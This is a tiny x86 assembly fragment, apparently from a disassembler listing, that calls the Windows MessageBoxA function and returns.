push 0
call sub.user32.dll_MessageBoxA
pop edx
ret